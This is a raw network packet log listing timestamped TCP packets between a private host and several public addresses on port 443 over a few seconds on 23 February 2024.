Feb 23, 2024 11:49:21.819044113 CET	443	49744	23.51.58.94	192.168.2.4
Feb 23, 2024 11:49:21.819106102 CET	49744	443	192.168.2.4	23.51.58.94
Feb 23, 2024 11:49:21.822536945 CET	49744	443	192.168.2.4	23.51.58.94
Feb 23, 2024 11:49:21.822568893 CET	443	49744	23.51.58.94	192.168.2.4
Feb 23, 2024 11:49:21.822601080 CET	49744	443	192.168.2.4	23.51.58.94
Feb 23, 2024 11:49:21.822616100 CET	443	49744	23.51.58.94	192.168.2.4
Feb 23, 2024 11:49:22.251283884 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.300954103 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.300981045 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.342190981 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.343930960 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344054937 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344134092 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344279051 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344350100 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344429016 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344454050 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.344460011 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344475031 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.344528913 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.344850063 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.344933987 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345149040 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345206022 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.345221043 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345328093 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345446110 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.345453978 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345779896 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345918894 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.345925093 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.345957994 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.346091032 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.346240044 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.346240044 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.346240044 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.647463083 CET	49745	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:22.647483110 CET	443	49745	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:22.832390070 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:22.832421064 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:22.832623005 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:22.833414078 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:22.833425999 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.112150908 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.112529993 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.112557888 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.113584042 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.113693953 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.121366024 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.121454000 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.121743917 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.121771097 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.167900085 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.283936024 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.295034885 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.295044899 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.295057058 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.295100927 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.295150995 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.295186043 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.295218945 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.309331894 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.309350967 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.309418917 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.309461117 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.356328964 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.381074905 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.381088018 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.381129980 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.381158113 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.381170034 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.381223917 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.381258965 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.381282091 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.392266035 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.392287970 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.392343998 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.392354012 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.392391920 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.404694080 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.404716969 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.404757023 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.404767036 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.404829025 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.420497894 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.420521021 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.420562983 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.420572996 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.420618057 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.472145081 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.472165108 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.472243071 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.472300053 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.472352982 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.482738018 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.482758999 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.482829094 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.482865095 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.482920885 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.490093946 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.490135908 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.490164995 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.490171909 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.490180969 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.490206003 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.490228891 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.490411043 CET	49746	443	192.168.2.4	152.199.4.44
Feb 23, 2024 11:49:23.490441084 CET	443	49746	152.199.4.44	192.168.2.4
Feb 23, 2024 11:49:23.619251966 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.619293928 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.619357109 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.620026112 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.620035887 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.631800890 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.631845951 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.631911039 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.633893013 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.633908987 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.637064934 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.637094021 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.637156010 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.641129971 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.641146898 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.804995060 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.805779934 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.805797100 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.806185961 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.807215929 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.807301044 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.808191061 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.808223963 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.818439007 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.818650007 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.818689108 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.819220066 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.821609020 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.821722031 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.821877003 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.821924925 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.837759018 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.838191986 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.838202953 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.839709997 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.839767933 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.849555969 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.849921942 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.850001097 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:23.850013971 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:23.903204918 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.059442043 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.059634924 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.059681892 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.060647964 CET	49749	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.060663939 CET	443	49749	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.326613903 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.326780081 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.327837944 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.327838898 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.367916107 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.367986917 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.368086100 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.368716002 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.368751049 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.415293932 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.469410896 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.469434023 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.515413046 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520036936 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520087004 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520114899 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520139933 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520162106 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520176888 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520206928 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520260096 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520581007 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520662069 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520682096 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520692110 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520790100 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520809889 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520817995 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520894051 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.520900011 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.520993948 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.521353006 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.521500111 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.521557093 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.521692991 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.521748066 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.521755934 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522094965 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522147894 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.522152901 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522162914 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522267103 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522356987 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522375107 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522381067 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.522387981 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.522435904 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.522435904 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.560918093 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.603578091 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.626071930 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626147985 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626240969 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626283884 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.626306057 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626419067 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626446962 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.626454115 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626962900 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.626991034 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.626997948 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.627067089 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.627093077 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.627099037 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.627180099 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.627207041 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.631552935 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.635499001 CET	49748	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.635529995 CET	443	49748	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.667457104 CET	49747	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.667520046 CET	443	49747	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.687266111 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.687314034 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.688719988 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.689526081 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.689553976 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.689651966 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.700079918 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.700089931 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.702830076 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.703044891 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:24.752572060 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.752613068 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:24.752621889 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.753007889 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.753828049 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.753833055 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.753842115 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.753880978 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.753998041 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.754209995 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.754237890 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.974206924 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.976548910 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.976563931 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.977612019 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.977737904 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.979401112 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.979490995 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:24.983995914 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:24.984015942 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.032280922 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.036267996 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.038605928 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.040580988 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.040580988 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.040642023 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.040642023 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.041724920 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.041743040 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.041843891 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.041846037 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.048800945 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.048877954 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.049702883 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.049705029 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.049778938 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.050278902 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.091170073 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.091171980 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.091202974 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.091206074 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.138449907 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.138454914 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234253883 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234275103 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234282970 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234344006 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234391928 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234414101 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234436989 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234437943 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234457016 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234498978 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234509945 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234513998 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234560013 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.234625101 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.234625101 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.238519907 CET	49752	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.238532066 CET	443	49752	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302576065 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302601099 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302607059 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302622080 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302628040 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302630901 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302686930 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.302752018 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.302788019 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.302809954 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303282976 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303308964 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303318024 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303359032 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303368092 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303392887 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303425074 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303467989 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303522110 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303523064 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303523064 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303523064 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303523064 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303564072 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303725958 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303739071 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303770065 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.303782940 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.303822994 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.304044962 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.304094076 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.319658041 CET	49753	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.319691896 CET	443	49753	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.390718937 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.390748978 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.390801907 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.390825987 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.390858889 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.390877962 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.391690016 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.391710997 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.391766071 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.391777992 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.391804934 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.391820908 CET	49754	443	192.168.2.4	13.107.213.40
